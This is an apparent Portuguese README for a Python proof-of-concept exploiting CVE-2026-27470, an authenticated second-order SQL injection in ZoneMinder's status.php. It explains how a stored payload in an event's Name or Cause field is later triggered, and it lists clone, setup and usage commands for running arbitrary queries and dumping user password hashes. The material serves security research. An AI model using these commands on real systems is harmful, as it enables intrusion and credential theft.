
Python PoC para CVE-2026-27470, injeção SQL de segunda ordem autenticada em getNearEvents() (status.php) do ZoneMinder, CVSS 8.8
Autor: d3vn0mi | CVSS 8.8 | Autenticado | Permissão de Eventos Necessária
CVE-2026-27470 é uma vulnerabilidade de injeção SQL de segunda ordem no web/ajax/status.php do ZoneMinder — especificamente na função getNearEvents().
| Detalhe | Valor |
|---|
| Afetado | ZoneMinder <= 1.36.37 e 1.37.61 – 1.38.0 |
| Corrigido em | 1.36.38 / 1.38.1 |
| Tipo | Injeção SQL de Segunda Ordem |
| Autenticação | Sim (qualquer usuário com permissão de Eventos) |
| CVSS | 8.8 (Alto) |
A vulnerabilidade é uma injeção SQL de duas fases (segunda ordem):
Fase 1 — Armazenamento: O atacante renomeia um evento (ou edita seu campo Cause) para conter um payload SQL. O ZoneMinder usa uma consulta parametrizada para essa gravação, então o payload é armazenado com segurança no banco de dados — nenhum WAF ou filtro o bloqueia.
Fase 2 — Gatilho: O atacante solicita a entidade nearevents por meio da API de status. A função getNearEvents() lê o Nome/Cause do evento armazenado no banco de dados e o concatena diretamente em uma nova consulta SQL sem sanitização, resultando em injeção SQL.
Como o vetor de injeção (dados armazenados) é separado do gatilho (uma solicitação GET limpa), isso contorna a maioria das proteções no nível de entrada.
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users
As credenciais são salvas em dumped_creds.txt por padrão.
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42
python3 poc.py -t http://10.10.10.10 -u admin -p password -v
| Flag | Descrição | Padrão |
|---|---|---|
-t, --target | URL do alvo | (obrigatório) |
-u, --username | Nome de usuário do ZoneMinder | (obrigatório) |
-p, --password | Senha do ZoneMinder | (obrigatório) |
--query | Consulta SQL a executar | SELECT VERSION() |
--dump-users | Despejar todos os nomes de usuário e hashes de senha | |
-o, --output | Salvar resultados em arquivo | dumped_creds.txt |
--event-id | ID do evento a usar como vetor de injeção | (detecção automática) |
--field | Campo de injeção: Name ou Cause | Name |
--no-restore | Não restaurar o nome do evento após a exploração | |
--proxy | URL do proxy HTTP | |
--timeout | Tempo limite da solicitação em segundos | 30 |
-v, --verbose | Ativar registro de depuração |
Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. Não a use contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar. Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta.